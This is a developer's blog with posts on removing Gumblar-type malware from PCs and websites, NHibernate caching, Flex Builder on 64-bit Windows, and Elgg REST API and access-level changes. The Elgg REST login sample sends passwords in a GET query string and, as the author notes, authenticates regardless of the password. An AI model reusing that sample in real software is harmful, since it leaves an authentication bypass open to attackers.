Daniel Ansari's blog

holasionweb.com

admin — Wed, 12 May 2010 19:44:47 +0000

One of my Joomla sites on shared GoDaddy hosting got re-infected this morning with this malware, which runs this script from every php file that it infects:

Interestingly, none of my other GoDaddy sites have got infected yet (and this blog is running an older version of WordPress), including one other Joomla site on the same server.

I modified my Gumblar removal script and added a regular expression to remove this malware. It can be downloaded here.

Unlike the script at Securi.net (at the time of writing), this script does not leave a blank line at the top of your files, thus, you won’t get any errors from your web applications - it leaves your files in exactly the same state as before the infection. It also saves your original infected file with a .bak extension, just in case you need to keep the originals for some reason. These can be deleted later, and will not affect your site.

Instructions for use

Place the file scan_files.php at your web document root.
Invoke it with no parameters to run it in report mode, where no modifications will be made. For the non-technical users, the address would be http://www.example.com/scan_files.php
Use scan_files.php?v=1 to run it in verbose mode.
Use scan_files.php?u=1 to run it in update mode, where the modifications will actually be made.
Use scan_files.php?u=1&v=1 to run it in both update and verbose modes.

Notes:

The script skips files greater than approx 1 MB in size.
If the path to the file ends with /images/image.php or /images/gifimg.php, the script deletes it in update mode. That’s because this was one of the signatures of the Gumblar malware.

NHibernate caching solution for web farms

admin — Fri, 12 Feb 2010 16:08:24 +0000

If your application uses NHibernate in a web farm, there is already a second-level cache provider that you ought to be familiar with: NHibernate.Caches.SysCache2, which supports expiration based on SQL table or command-based dependencies. Whilst this is a decent solution, it does cause your whole cache region to be invalidated when data changes in the table.

It may be more ideal for you to invalidate the cache on a per-object basis, i.e., if one web server in the farm receives a request that causes a cached object to change, the portion of the application running on that server should be able to expire that object from the cache of all other servers within that farm.

A technique that I have used somewhat successfully is a shared disk cache invalidation mechanism called FileSysCache, similar to the “File Update Model” discussed in this MSDN library article. Unlike the technique in that article, however, ours does not suffer from the issues arising from SQL Server trying to access the file system. Our method creates a zero-length file on the shared disk, together with a CacheDependency to that file, for each cacheable object. It deletes that file when the cache is invalidated for that object. Thus, any other servers holding a cached copy of that object will have a CacheDependency on the same file, and their cached copies will expire.

This happens behind the scenes for you as an application developer. NHibernate will call the relevant methods in the caching provider; all you need to know is that to expire the object across the web farm, you just need to evict it from the second level cache, using:

session.Evict(obj)

To configure FileSysCache, put the following into your web.config:

...

and also:

I meant to make this post a few years ago, so I hope the information here is still relevant, and I hope it’s better late than never.

The code, including unit tests, may be found here.

Adobe Flex Builder 3 problems in 64-bit Windows

admin — Fri, 12 Feb 2010 05:54:26 +0000

Making the move to Windows 7 Professional 64 brought about a plethora of problems, some minor and some not so minor.

Fortunately most of the troubles were shared with other developers, and information is there to be found using our favourite search engines.

If you’re a Flex developer, like me, you might not have as much luck. If you’ve downloaded the latest (stable) Flex SDK—3.4.1 at the time of this writing—it’s not possible to set up your “Installed Flex SDKs”, in order to set this SDK as the compiler default from the Preferences dialog. That’s because of an issue on current x64 Windows where controls won’t get resized once the nesting hierarchy of windows exceeds a certain depth, which was referred to from the only useful information I could find about this specific issue. It’s also not possible to set many preferences, as certain project properties show up as blank, and certain buttons are missing. It’s absolutely abysmal that Adobe hasn’t remedied these issues; how does it expect developers to do any serious Flex development on 64 bit Windows that’s becoming mainstream?

Fortunately, there is a workaround, at least for the issues that affected me. The solution lies in having a working copy of Flex Builder on a 32-bit Windows platform. Flex stores these preferences in %USERPROFILE%\My Documents\Flex Builder 3\.metadata ( %USERPROFILE% is the environment variable with a typical value of “C:\Documents and Settings\{username}” on Windows XP, and “C:\Users\{username}” on Windows 7), and subfolders therein.

To configure your installed Flex SDKs, first unzip your Flex SDK to “C:\Program Files (x86)\Adobe\Flex Builder 3\sdks” (or wherever it is on your system); there is a file at the top level called flex-sdk-description.xml. Open this up and make a note of the element. Next, open the file “%USERPROFILE%\My Documents\Flex Builder 3\.metadata\.plugins\org.eclipse.core.runtime\.settings\com.adobe.flexbuilder.project.prefs”. This is where you’ll insert the setting for com.adobe.flexbuilder.project.flex_sdks, making sure you use the SDK name noted earlier. My entire file looks like this (without the line breaks before “\r\n”):

#Wed Feb 10 17:49:32 EST 2010
eclipse.preferences.version=1
playerTrustFileCleaned30=true
com.adobe.flexbuilder.project.flex_sdks=\r\n
\r\n
\r\n
\r\n\r\n\r\n
flexBuilderVersion=3.0.194161

That fixes the first problem.

My other main problem was that I needed to debug the Flex application, but I was unable to add the launch configuration under Run/Debug Settings of the project properties—the New, Duplicate, Edit, and Delete buttons are missing and cannot be activated via the Windows shortcut keys. If your project is called ProjectX, you’ll need to have a file called “%USERPROFILE%\My Documents\Flex Builder 3\.metadata\.plugins\org.eclipse.debug.core\.launches\ProjectX.launch”. For me, the .launches folder wasn’t there, so I copied it from my 32-bit system. You can create the .launches folder manually, though not from Windows Explorer (you may have to use the command line). My file looks like this:

For any other properties, you can search for a relevant string in the .metadata folder of your 32-bit machine, then copy or create the appropriate file in your 64-bit system. It’s a pain, but at least you’ll be able to get your work done.

Automatic removal of Gumblar/Martuz trojan

admin — Wed, 20 May 2009 04:08:44 +0000

I won’t duplicate information contained on other websites, but I will refer to them here instead.

How your machine gets infected by Gumblar, or a “Gumblaroid” (Gumblar-type exploit) such as Martuz

http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/
http://blog.unmaskparasites.com/2009/05/18/martuz-cn-is-a-new-incarnation-of-gumblar-exploit/
http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx

How to determine if your PC has the infection

http://www.dynamicdrive.com/forums/showthread.php?p=194695

These were the symptoms that I noticed on my PC:

1. My Visual Studio .NET 2005 was crashing a lot, and I could not get any work done using it.
2. In Firefox 3, each search result would initially redirect to a bogus ad page (I always open search results in a new tab), but clicking the search result once more would open the genuine page.
3. I could not start cmd from the XP Start/Run menu item.

How I removed this malware from my PC

1. I installed and scanned my PC with Malwarebytes’ Anti-Malware, which found the single file - in my case it was C:\WINDOWS\ukvvq.qnx - that was keeping the infection active. Manually deleting it, or letting Anti-Malware attempt to delete it, would delete it, but the file would reappear almost immediately. Don’t worry if Anti-Malware is unable to update its definitions online - this is another symptom of Gumblar - it still detects it, though as something else.
2. I ran Hijackthis (I didn’t need a scan), chose “misc tools”, and chose “delete file on reboot” for this file (according to http://www.dynamicdrive.com/forums/showthread.php?p=194695).
3. I ran regedit and deleted the registry entry (according to http://www.dynamicdrive.com/forums/showthread.php?p=194695).

That was it to remove it from my PC, voila! To protect my PC from re-infection, I disabled Adobe JavaScript according to http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx.

Unfortunately, it seems that several people resorted to rebuilding their machines from scratch.

How to remove the infection from a website

If you manage websites using an FTP program, there is a chance that your sites have become infected. The first thing you must do is change the ftp passwords after your machine has been cleaned.

As yet, I am unaware of any automated script which removes the infection from a website, so I wrote my own and applied it to 5 of the websites that I manage that were infected.

I started off using the script by rad-one at http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/comment-page-1/#comment-896.

I modified it heavily to use PHP regular expressions, to remove the gumblar modifications in html, php, and js files (it scans files with all extensions except .bak). Unlike rad-one’s detection script, this one yielded zero false positives for me, and eradicated the infection completely, as far as I can tell.

Here is what my script does:

1. Recurses through the whole website, excluding files and/or directories of your choosing.
2. Applies regular expressions to remove the infection from all the files (except those with the .bak extension) in each directory.
3. All modified files are backed up using the .bak extension.
4. Removes all files with paths ending in /images/image.php or /images/gifimg.php.
5. Runs in report mode by default, so you can see which files would be modified.
6. Has a “verbose” option, so you can see how each file will be modified.

It does not change directory permissions. I haven’t got around to investigating that area yet.

You may download it here. (Use at your own risk.)

Instructions for use

Place the file scan_files.php at your web document root.
Invoke it with no parameters to run it in report mode, where no modifications will be made.
Use scan_files.php?v=1 to run it in verbose mode.
Use scan_files.php?u=1 to run it in update mode, where the modifications will actually be made.
Use scan_files.php?u=1&v=1 to run it in both update and verbose modes.

How to use the REST API in Elgg 1.1

admin — Wed, 10 Dec 2008 20:50:25 +0000

The Elgg documentation describes the REST API rather superficially, yet provides no samples, and is now inaccurate for the recent versions of Elgg.

After a minor modification to your .htaccess file, using the REST API is very simple, and, in many cases, avoids the need to create individual files in your Elgg root directory to provide custom functionality.

First, let’s look at how your API method would be called:

http://localhost:8080/elgg/pg/api/rest?method=login&username=dansari&password=apples

Let me explain technically what’s going on first. Any API calls in Elgg are handled by a page handler, i.e., when the HTTP request begins with /pg/..., the .htaccess (containing mod_rewrite rules) tells Apache to use the Elgg file engine/handlers/pagehandler.php to handle the request. Elgg then determines which page handler to use, and invokes it. The REST API is known as an “API endpoint”. In this case, because the next part of the URL is rest, the API page handler passes control to the file services/api/rest.php.

The problem with the .htaccess that ships with Elgg is that it would cause the page handler to be invoked as pagehandler.php?handler=api&page=rest, discarding the querystring entirely. services/api/rest.php actually expects the method parameters to be in the querystring, so to get this to work, we simply change the following line in .htaccess:

RewriteRule ^pg\/([A-Za-z\_\-]+)\/(.*)$
engine/handlers/pagehandler.php?handler=$1&page=$2

to this:

RewriteRule ^pg\/([A-Za-z\_\-]+)\/(.*)$
engine/handlers/pagehandler.php?handler=$1&page=$2 [QSA]

Here is the code for a sample REST method, which would be implemented via a plugin. For this example, the following file is located at mod/rest_login/start.php (NB I had to put a space character before the ?php in line 1 for WordPress to render this listing):

< ?php
function rest_login_init() {
expose_function(‘login’, ‘rest_login_handler’, array(
"username" => array("type" => "string"),
"password" => array("type" => "string")
), "", "GET", false, true);
}
function rest_login_handler($username, $password) {
$persistent = "1";
$result = false;
if (!empty($username) && !empty($password)) {
if ($user = authenticate($username,$password)) {
$result = login($user, $persistent);
}
}
return $result;
}
// Add the plugin’s init function to the system’s init event
register_elgg_event_handler(‘init’,’system’,‘rest_login_init’);
?>

The important differences between what is stated in the Elgg documentation and here are:

There is no register_method function. Instead, use expose_function as in line 4.
"type" must be specified for each parameter, as in lines 5-6.

Finally, here is an excerpt from engine/lib/api.php, which explains the parameters in more detail:

/**
* Expose an arbitrary function as an api call.
*
* Limitations: Currently can not expose functions which expect objects.
*
* @param string $method The api name to expose this as, eg "myapi.dosomething"
* @param string $function Your function callback.
* @param array $parameters Optional list of parameters in the same order as in your function, with optional parameters last.
* This array should be in the format
* "variable" = array (
* type => ‘int’ | ‘bool’ | ‘float’ | ’string’ | ‘array’
* required => true (default) | false
* )
* @param string $description Optional human readable description of the function.
* @param string $call_method Define what call method should be used for this function.
* @param bool $require_auth_token Whether this requires a user authentication token or not (default is true).
* @param bool $anonymous Can anonymous (non-authenticated in any way) users execute this call.
* @return bool
*/
function expose_function($method, $function, array $parameters = NULL, $description = "", $call_method = "GET", $require_auth_token = true, $anonymous = false)

There are limitations of the REST API, one of them being that the return value is rendered in a view. You can override the view by including the directory structure and file views/default/api/output.php in your module directory, but Elgg will still render it as HTML; if you need to process the result, you will need to parse this HTML. Also, if you decide to override this view, it will be overridden for any REST API method calls, not just the one implemented in your module.

One particular limitation of the sample above is that it does not authenticate! At least I couldn’t get it to work; the reason is that the API method is registered as not requiring a user authentication token. As a result, the method executes in unauthenticated fashion, and when authenticate() is called to attempt to authenticate the user, it always succeeds - regardless of the password - because pam_authenticate() returns true for the executing method. (Hopefully this would make sense to you if you’ve written an authentication plugin.)

Adding “Friends” access level to Elgg 1.1

admin — Tue, 30 Sep 2008 15:43:47 +0000

Out of the box, Elgg 1.1 has three access levels: private, logged-in users, and public.

A few people have asked about how to add a further access level: friends. Currently, the only way to give friends access to an item is to create a friends collection, then specify that collection for the access level. The problem with this approach is that every you add or remove a friend, you need to update your collection manually.

The Elgg development philosophy is not to modify the core files, but instead to write plugins, if you need to modify any of the core functionality. However, in this case, there are no Elgg events that we can hook into, as access level is such a fundamental part of the core. Thus, we are forced to modify a couple of the core files.

Note that this won’t work for MySQL versions prior to 4.1, as they do not support subqueries.

Add line 147 in engine/lib/access.php:

function get_access_sql_suffix($table_prefix = "")
{
global $CONFIG;
global $ENTITY_SHOW_HIDDEN_OVERRIDE;

Change line 167 in engine/lib/access.php:

if (empty($sql))
$sql = " ({$table_prefix}access_id in {$access} or ({$table_prefix}access_id = 0 and {$table_prefix}owner_guid = $owner) or ({$table_prefix}access_id = -1 and ({$table_prefix}owner_guid = $owner or {$table_prefix}owner_guid in (select guid_two from {$CONFIG->dbprefix}entity_relationships er where er.guid_one = $owner and er.relationship = ‘friend’))))";

Change line 201 to the following:

$tmp_access_array = array(0 => elgg_echo("PRIVATE"), -1 => elgg_echo("FRIENDS"), 1 => elgg_echo("LOGGED_IN"), 2 => elgg_echo("PUBLIC"));

The last change in core is to add line 190 in languages/en.php:

‘PRIVATE’ => "Private",
‘LOGGED_IN’ => "Logged in users",
‘PUBLIC’ => "Public",
‘FRIENDS’ => "Friends",
‘access’ => "Access",

Finally, the pages module needs to respect the new access level, so modify mod/pages/start.php by adding lines 252-256, and 262-269:

if (($write_permission!=0) && (in_array($write_permission,$list)))
return true;
if ($write_permission == -1) {
$friends = get_friends($params[‘entity’]);
if (in_array($user->guid, $friends))
return true;
}
}
}
}
function get_friends($entity)
{
$friends = array();
$entities = get_entities_from_relationship(‘friend’, $entity->owner_guid, false, ‘user’, ”, 0, ”, 1000000);
foreach ($entities as $friend)
$friends[] = $friend->guid;
return $friends;
}